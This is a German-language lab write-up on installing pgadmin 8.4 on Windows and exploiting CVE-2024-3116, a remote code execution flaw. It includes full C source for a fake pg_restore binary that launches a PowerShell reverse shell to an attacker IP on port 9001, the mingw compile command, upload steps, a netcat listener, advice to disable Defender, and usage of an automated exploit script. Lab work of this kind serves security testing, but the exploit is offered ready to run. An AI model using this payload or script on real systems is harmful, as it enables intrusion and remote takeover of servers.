
Ein Labor erstellen und die CVE-2024-3116 testen, eine Remote-Code-Ausführung in pgadmin <=8.4
Aufbau eines Labs und Testen der CVE-2024-3116, eine Remote Code Execution in pgadmin <=8.4
Ich habe diesen Artikel als Grundlage verwendet.
Zunächst ein kleiner Kommentar zu diesem Lab: Die Dokumentation von pgadmin ist ziemlich schlecht und ich habe keine Spur davon gefunden, dass jemand pgadmin unter Windows installiert hat...
python -m pip install -U pippython -m pip install wheelpython -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, folgende Zeile hinzufügen:LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
SERVER_MODE = True
C:\Users\User\AppData\Roaming\pgAdmin (wird für setup.py benötigt)python site-packages/pgadmin4/setup.py setup-db. Ich habe Email = [email protected] und Password = password eingegeben (diese E-Mail und das Passwort sind wichtig, da wir sie zum Verbinden mit pgadmin benötigen)Dann der Webserver:
MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apachepip install mod-wsgimod_wsgi-express module-confighttpd.conf von Apache einfügenmod_wsgi-express start-server .\pgAdmin4.wsgi (sollte auf Port 8000 erreichbar sein)Ich werde die Schwachstelle von einer Kali-Maschine aus ausnutzen, die sich im selben Netzwerk wie pgadmin befindet.
Nochmals: Dieser Exploit funktioniert nur gegen Windows-pgadmin! Und wir benötigen einen gültigen Benutzer, um diese Schwachstelle auszunutzen!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
sudo apt-get install mingw-w64x86_64-w64-mingw32-gcc -o pg_restore poc.c

Tools > Import/Export Servers > ‘Klicken Sie auf das kleine Ordnersymbol’ > ‘Klicken Sie auf die drei Punkte in der oberen rechten Ecke des Dateiauswahlfensters und wählen Sie Hochladen’ > ‘Wählen Sie den binären PoC aus’

nc -lvnp 9001), um die Antwort zu empfangen: WICHTIG !!!!!!!!! Der Defender verhindert die Ausführung der Binärdatei (also Defender deaktivieren)Ich habe ein Python-Skript geschrieben, um diese Schwachstelle automatisch auszunutzen, fast nichts zu tun.
Wissenswertes vor der Verwendung dieses Skripts:
pip install selenium)sudo apt-get install mingw-w64nc -lvnp <port>)Um diesen Exploit zu verwenden, führen Sie diesen Befehl aus:
python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>
Eine kleine Demo: https://youtu.be/zdMC3kbN0Is
Alle diese Links haben mir bei der Installation von pgadmin unter Windows geholfen:
File > Preferences > Binary Paths
